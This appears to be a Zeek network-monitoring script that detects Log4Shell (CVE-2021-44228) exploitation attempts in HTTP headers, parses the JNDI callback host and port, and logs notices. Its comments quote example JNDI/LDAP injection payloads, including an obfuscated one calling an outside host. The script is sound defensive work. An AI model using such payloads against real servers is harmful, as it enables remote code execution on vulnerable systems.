module CVE_2021_44228;

redef enum Notice::Type += {
        LOG4J_ATTEMPT_HEADER,
        LOG4J_SUCCESS
    };

redef enum HTTP::Tags += {
        LOG4J_RCE
    };

redef enum Log::ID += { LOG };

type Info: record {
    ts: time &log;
    uid: string &log;
    http_uri: string &log;
    uri: string &log;
    stem: string &log;
    target_host: string &log;
    target_port: string &log;
    method: string &log;
    is_orig: bool &log;
    name: string &log;
    value: string &log;
    matched_name: bool &log;
    matched_value: bool &log;
    };

type PayloadParts: record {
    uri: string;
    stem: string;
    host: string;
    port_: string;
    };

# Very general, FPs expected but we're casting a wide net intentionally.
global exploit_pattern: pattern = /\$\{/;
export {
    option log = T;
}

# If split doesn't return the expected number of indices, return the default "-"
function safe_split1_w_default(s: string, p: pattern, idx: count, missing: string &default="-"): string
    {
    local tmp = split_string1(s, p);
    if ( |tmp| > idx )
        return tmp[idx];
    else
        return missing;
    }

# Assumes `name` or `value` string passed as `s` has the structure:
# ${jdni:ldap://payload_host:payload_port/path} for the payload. Many examples
# of more complicated obfuscation exist. If the structure is different, fill
# missing fields with "-" so other structures in the wild can be explored in the
# logs. For example, Binary Edge are using the following type of obfuscation:
# ...value='${jndi:${lower:l}${lower:d}a${lower:p}://world443.log4j.bin${upper:a}ryedge.io:80/callback}'
function parse_payload(s: string): PayloadParts
    {
    local tmp = split_string(s, /\/\//);
    local last: string = "-";
    if ( |tmp| > 0 )
        last = tmp[(|tmp| - 1)];
    local payload_uri  = safe_split1_w_default(last, /\}/, 0);
    local payload_stem = safe_split1_w_default(payload_uri, /\//, 0);
    local payload_host = safe_split1_w_default(payload_stem, /\:/, 0);
    local payload_port = safe_split1_w_default(payload_stem, /\:/, 1);

    return PayloadParts($uri=payload_uri, $stem=payload_stem, $host=payload_host, $port_=payload_port);
    }

event http_header(c: connection, is_orig: bool, name: string, value: string)
    {
    # Focus is mainly on client headers, but not filtering right now to explore interesting cases in the wild
    # if (!is_orig)
    #     return;
    # Focus is mainly on value of header, but adding 'name' to explore what is being used in the wild
    local matched_name = exploit_pattern in name;
    local matched_value = exploit_pattern in value;

    # Ignore matches that contain binary goop. This was a large contributor to
    # false positives.
    if ( matched_name && !is_ascii(name) )
        return;
    if ( matched_value && !is_ascii(value) )
        return;

    add c$http$tags[LOG4J_RCE];

    local payload: PayloadParts;
    local info: Info;

    # TODO: add to a clusterized set for watching of subsequent traffic (LOG4J_SUCCESS notice).
    if ( matched_name )
        {
        payload = parse_payload(name);
        info = Info($ts=network_time(), $uid=c$uid, $http_uri=c$http$uri, $uri=payload$uri, $stem=payload$stem, $target_host=payload$host, $target_port=payload$port_, $method=c$http$method, $is_orig=is_orig, $name=name, $value=value, $matched_name=matched_name, $matched_value=matched_value);
        NOTICE([$note=LOG4J_ATTEMPT_HEADER,
                $conn=c,
                $identifier=cat(c$id$orig_h,c$id$resp_h,c$id$resp_p,cat(name,value)),
                # $suppress_for=3600sec,
                $msg=fmt("Possible Log4j exploit CVE-2021-44228 exploit in header. Refer to sub field for sample of payload, original_URI and list of server headers"),
                $sub=fmt("uri='%s', payload_uri=%s, payload_stem=%s, payload_host=%s, payload_port=%s, method=%s, is_orig=%s, header name='%s',  header value='%s' ", c$http$uri, payload$uri, payload$stem, payload$host, payload$port_, c$http$method, is_orig, name, value)]);
        if ( log )
            Log::write(LOG, info);
        }
    if ( matched_value )
        {
        payload = parse_payload(value);
        info = Info($ts=network_time(), $uid=c$uid, $http_uri=c$http$uri, $uri=payload$uri, $stem=payload$stem, $target_host=payload$host, $target_port=payload$port_, $method=c$http$method, $is_orig=is_orig, $name=name, $value=value, $matched_name=matched_name, $matched_value=matched_value);
        NOTICE([$note=LOG4J_ATTEMPT_HEADER,
                $conn=c,
                $identifier=cat(c$id$orig_h,c$id$resp_h,c$id$resp_p,cat(name,value)),
                # $suppress_for=3600sec,
                $msg=fmt("Possible Log4j exploit CVE-2021-44228 exploit in header. Refer to sub field for sample of payload, original_URI and list of server headers"),
                $sub=fmt("uri='%s', payload_uri=%s, payload_stem=%s, payload_host=%s, payload_port=%s, method=%s, is_orig=%s, header name='%s',  header value='%s' ", c$http$uri, payload$uri, payload$stem, payload$host, payload$port_, c$http$method, is_orig, name, value)]);
        if ( log )
            Log::write(LOG, info);
        }
    }

event zeek_init() &priority=5
    {
    if ( log )
        Log::create_stream(CVE_2021_44228::LOG, [$columns=Info, $path="log4j"]);
    }